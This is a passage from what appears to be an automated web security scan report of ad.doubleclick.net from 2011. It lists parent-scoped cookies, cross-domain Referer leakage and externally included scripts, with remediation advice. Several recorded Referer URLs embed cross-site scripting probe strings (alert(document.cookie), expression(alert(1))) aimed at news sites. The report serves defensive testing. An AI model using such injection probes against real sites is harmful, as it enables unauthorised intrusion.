test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 26 Jan 2011 15:26:11 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://ad.doubleclick.net/clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars&_dc_ck=try Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Wed, 26 Jan 2011 15:26:11 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 15:11:11 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|644190/611537/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /clk;214236123;36139234;u?http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://www.orbitz.com/App/DisplayCarSearch?gcid=C11287x798&WT.mc_id=o_bing_msntravel&WT.mc_ev=click&DCSext.mc_kw=cars Set-Cookie: id=c653243310000d9|644190/611537/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 15:57:35 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
4. Cross-domain Referer leakagepreviousnext There are 49 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following links to other domains:
http://s0.2mdn.net/2438645/728x90.gif
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
GET /adi/N3158.247RealMedia/B4708174.28;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/1539622220/Top1/USNetwork/BCN2010070180_063_Staples/123_728.html/726348573830307044726341416f7670?;ord=1539622220? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.dispatch.com/live/content/national_world51531'%3balert(document.cookie)//2172b1d83e7/stories/2011/01/26/emanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 20:22:01 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6445
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Thu Jan 13 12:22:26 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... 1416f7670?http://weeklyad.staples.com/staples/new_user_entry.aspx?adref=q4WeeklyAd247&cm_mmc=display_ads-_-WeeklyAd-_-HolidayOLC-_-24_7&cid=BAN:RETAIL:24_7:24_7:WEEKLYAD:20101101:HOLIDAYOLC:VARIOUS:N"><img src="http://s0.2mdn.net/2438645/728x90.gif" width="728" height="90" border="0" alt="Advertisement" galleryimg="no"></a> ...[SNIP]...
GET /adi/N3158.273736.24/B5124686.8;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/468128897/Top1/USNetwork/BCN2010120365_005_Staples/2010120365_728.html/726348573830307044726341416f7670?;ord=468128897? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://markets.dispatch.com/columbusdispatch?6b6c3'-alert(document.cookie)-'83850a93671=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Thu, 27 Jan 2011 13:55:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6622
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Fri Jan 07 16:52:28 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... d/cre/products/101219/merch10084/index_offer.html?adref=WeeklyAdTonerInkHP20150Coupon247&cm_mmc=display_ads-_-WeeklyAd-_-HP20150-_-24_7&cid=BAN:RETAIL:24_7:24_7:WEEKLYADGEO:20110116:HP20150:VARIOUS:N"><img src="http://s0.2mdn.net/2438645/merch10084_728x90Offer.gif" width="728" height="90" border="0" alt="Advertisement" galleryimg="no"></a> ...[SNIP]...
GET /adi/N3753.salon/B4868617.25;sz=300x250;pc=[TPAS_ID];ord=[timestamp]? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 5549 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:00 GMT Expires: Wed, 26 Jan 2011 23:29:00 GMT Connection: close
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Tue Jan 18 19:54:49 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... 3a9b/3/0/%2a/u%3B234620797%3B1-0%3B0%3B58754818%3B4307-300/250%3B40328205/40345992/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://www.lexus.com/thehardway/?vidid=thw3&cid=THW11NBROBOT"><img src="http://s0.2mdn.net/2554073/FL_11_National_StandardRobot_300x250.jpg" width="300" height="250" border="0" alt="Advertisement" galleryimg="no"></a> ...[SNIP]...
GET /adi/N3941.ContextWebInc./B5198619.4;sz=728x90;pc=54144;click=http://cdslog.contextweb.com/CDSLogger/L.aspx?q=C~526328~1998~54144~108393~79778~4~427~3~middletownpress.com~2~8~1~0~2~1~stCJdbHvpMtNcqViEwqQrHxEWkwXUKMsTK2ZnKOFzzU^~75~2~ASaPOUiWcPsm~gFEcJzqCjXJj~1~1~1~~;ord=1104310485? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 6544 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:09:30 GMT Expires: Wed, 26 Jan 2011 22:09:30 GMT Discarded: true
<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. --> <!-- Code auto-generated on Mon Nov 22 10:44:09 EST 2010 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... j~1~1~1~~http%3a%2f%2fpixel.quantserve.com/r%3Ba%3Dp-c3EzxJIX1tdIw%3Blabels%3D_click.adserver.doubleclick%2Ahttp%3A//www.timewarnercable.com/texas/learn/bundles/campaign.html%3Fcid%3Dneod000000027135"><img src="http://s0.2mdn.net/1196992/TWC_TX_Q410_ACQ_SAVE_33_728x90_V1.gif" width="728" height="90" border="0" alt="" galleryimg="no"></a> ...[SNIP]...
GET /adi/N5371.ABC/B5114539.4;sz=300x250;click=http://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=;pc=dig759837dc885481;ord=2011.01.26.09.14.03? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 5304 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:28:55 GMT Expires: Wed, 26 Jan 2011 23:28:55 GMT Connection: close
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,901 Template Name = Banner Creative (Flash) - In Page ...[SNIP]... <!-- Copyright 2006 DoubleClick Inc., All rights reserved. --><script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]... B%7Esscs%3D%3fhttp://log.go.com/log?srvc=abc&guid=8620FBDB-CA92-45A3-AB6D-D77A4C489742&drop=0&addata=1625:55542:759837:52320&a=1&goto=http%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855"><img src="http://s0.2mdn.net/2155040/Trop50static_300x250_40k.gif" width="300" height="250" border="0" alt="" galleryimg="no"></a></noscript> <SCRIPT SRC="http://amch.questionmarket.com/adscgen/st.php?survey_num=853829&site=58134943&code=40015506&randnum=7960311" LANGUAGE="JavaScript"></SCRIPT> ...[SNIP]...
GET /adj/cnd.gast.gastongazette/widget/classified;s1=widget;s2=classified;pos=1;dcode=cnd;pcode=gast;kw=;ref=gastongazette.com;test=;fci=ad;dcopt=;tile=1;sz=120x60;ord=3063333304598927.5? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/common/ad/createAdIframeOneAd.php?adName=Featured%20Classified&sponsoredName=Featured%20Advertiser&lListTitles=Buy%20Stuff,Sell%20Stuff,Announcements,Browse%20Ads&lListLinks=http://www.gastongazette.com/sections/classifieds/,http://www.gastongazette.com/sections/classifieds/,http://www.gastongazette.com/sections/classifieds/,http://www.gastongazette.com/sections/classifieds/&spTitle=Feature%20your%20classified%20ad%20in%20these%20listings.%20Call%20our%20Ad-Visors%20at%20704-869-1750%20or%20Click%20HERE&spLink=http://www.verican.us/cod6/saleitem.do?catalog=gastongazette&domain=gastongazette.com&cat=widget/classified Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:20:09 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 308
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/c;225214370;0-0;1;41073399;6-120/60;40194819/40212606/1;;~sscs=%3fhttp://www.cityofgastonia.com"><img src="http://s0.2mdn.net/viewad/2304365/1-1101-120x60_cog7.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/gmg.lasvegassun/news/story;tile=7;sz=300x250,300x600;ord=6754191624931991? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.lasvegassun.com/adpage/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:16:33 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 330
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/k;230132545;0-0;0;40432460;4307-300/250;40275426/40293213/1;;~sscs=%3fhttp://www.theindiemusicfest.com"><img src="http://s0.2mdn.net/viewad/2940919/012111_IndieMusicFest_Web_300x250.jpg" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/gmg.lasvegassun/news/story;tile=4;sz=160x600;ord=86998397018760.44? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.lasvegassun.com/adpage/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:16:34 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 332
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/d;230132669;0-0;0;40432460;2321-160/600;40275422/40293209/1;;~sscs=%3fhttp://www.theindiemusicfest.com"><img src="http://s0.2mdn.net/viewad/2940919/2-012111_IndieMusicFest_Web_I60x600.jpg" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/gmg.lasvegassun/news/story;tile=1;sz=728x90;ord=7616088134236634? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.lasvegassun.com/adpage/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:17:03 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 328
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/x;230132427;0-0;0;40432460;3454-728/90;40275431/40293218/1;;~sscs=%3fhttp://www.theindiemusicfest.com"><img src="http://s0.2mdn.net/viewad/2940919/012111_IndieMusicFest_Web_728x90.jpg" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
The response contains the following link to another domain:
http://s0.2mdn.net/viewad/817-grey.gif
Request
GET /adj/mpire.revienet_greenspun/ros;\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 241 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:52 GMT Expires: Wed, 26 Jan 2011 23:29:52 GMT Connection: close
document.write('<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/y;44306;0-0;0;47557629;1-468/60;0/0/0;;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/trb.wgntv2/biz;;ptype=sbrd;slug=sns-ap-us-obit-daniel-bell;pos=1brd;sz=234x60;tile=5;ca=Politics;en=NewYork;at=Politics;at=Philosophy;at=Culture;at=ArtsandCulture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;ord=27701754? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:07:13 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 721
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/f;234600056;0-0;0;36414418;4-234/60;40083219/40101006/1;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel ...[SNIP]... lture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;~aopt=2/0/9c06/0;~sscs=%3fhttps://ssl.drgnetwork.com/ecom/tms/app/live/promosub?org=tms&publ=CG&key=IUGWGNA"><img src="http://s0.2mdn.net/viewad/2591353/324137/WGNTV_010411_RON_ChannelGuide_234x60_0710.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/trb.wgntv2/biz;;ptype=sbrd;slug=sns-ap-us-obit-daniel-bell;pos=Tbrd;dcopt=ist;sz=728x90;tile=1;ca=Politics;en=NewYork;at=Politics;at=Philosophy;at=Culture;at=ArtsandCulture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;ord=27701754? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 22:10:10 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 649
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/k;235425000;0-0;1;36414418;3454-728/90;40407590/40425377/1;u=http://www.wgntv.com/business/sns-ap-us-obit-dan ...[SNIP]... NewYork;at=Politics;at=Philosophy;at=Culture;at=ArtsandCulture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;~aopt=2/0/9c06/0;~sscs=%3fhttp://www.mycricket.com"><img src="http://s0.2mdn.net/viewad/1252859/RedEye_BigGame728x90.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
GET /adj/trb.wgntv2/biz;;ptype=sbrd;slug=sns-ap-us-obit-daniel-bell;pos=1brd;sz=300x250,336x280;tile=2;ca=Politics;en=NewYork;at=Politics;at=Philosophy;at=Culture;at=ArtsandCulture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;ord=27701754? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Wed, 26 Jan 2011 20:07:03 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 650
document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3a9b/0/0/%2a/u;235425491;0-0;0;36414418;4307-300/250;40407485/40425272/1;u=http://www.wgntv.com/business/sns-ap-us-obit-da ...[SNIP]... NewYork;at=Politics;at=Philosophy;at=Culture;at=ArtsandCulture;at=Society;u=http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story;~aopt=2/0/9c06/0;~sscs=%3fhttp://www.mycricket.com"><img src="http://s0.2mdn.net/viewad/1252859/RedEye_BigGame300x250.gif" border=0 alt="Click here to find out more!"></a> ...[SNIP]...
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The response dynamically includes the following script from another domain:
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
GET /adi/N3158.247RealMedia/B4708174.28;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/1539622220/Top1/USNetwork/BCN2010070180_063_Staples/123_728.html/726348573830307044726341416f7670?;ord=1539622220? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.dispatch.com/live/content/national_world51531'%3balert(document.cookie)//2172b1d83e7/stories/2011/01/26/emanuel-asks-state-high-court-to-put-him-back-on-the-ballot.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 26 Jan 2011 20:22:01 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6445
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Thu Jan 13 12:22:26 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
GET /adi/N3158.273736.24/B5124686.8;sz=728x90;click0=http://network.realmedia.com/RealMedia/ads/click_lx.ads/dispatch/ros/728x90/jx/ss/a/L27/468128897/Top1/USNetwork/BCN2010120365_005_Staples/2010120365_728.html/726348573830307044726341416f7670?;ord=468128897? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://markets.dispatch.com/columbusdispatch?6b6c3'-alert(document.cookie)-'83850a93671=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Thu, 27 Jan 2011 13:55:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6622
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Fri Jan 07 16:52:28 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
GET /adi/N3753.salon/B4868617.25;sz=300x250;pc=[TPAS_ID];ord=[timestamp]? HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 5549 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:00 GMT Expires: Wed, 26 Jan 2011 23:29:00 GMT Connection: close
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... <!-- Code auto-generated on Tue Jan 18 19:54:49 EST 2011 --> <script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://s0.2mdn.net/879366/flashwrite_1_2.js
Request
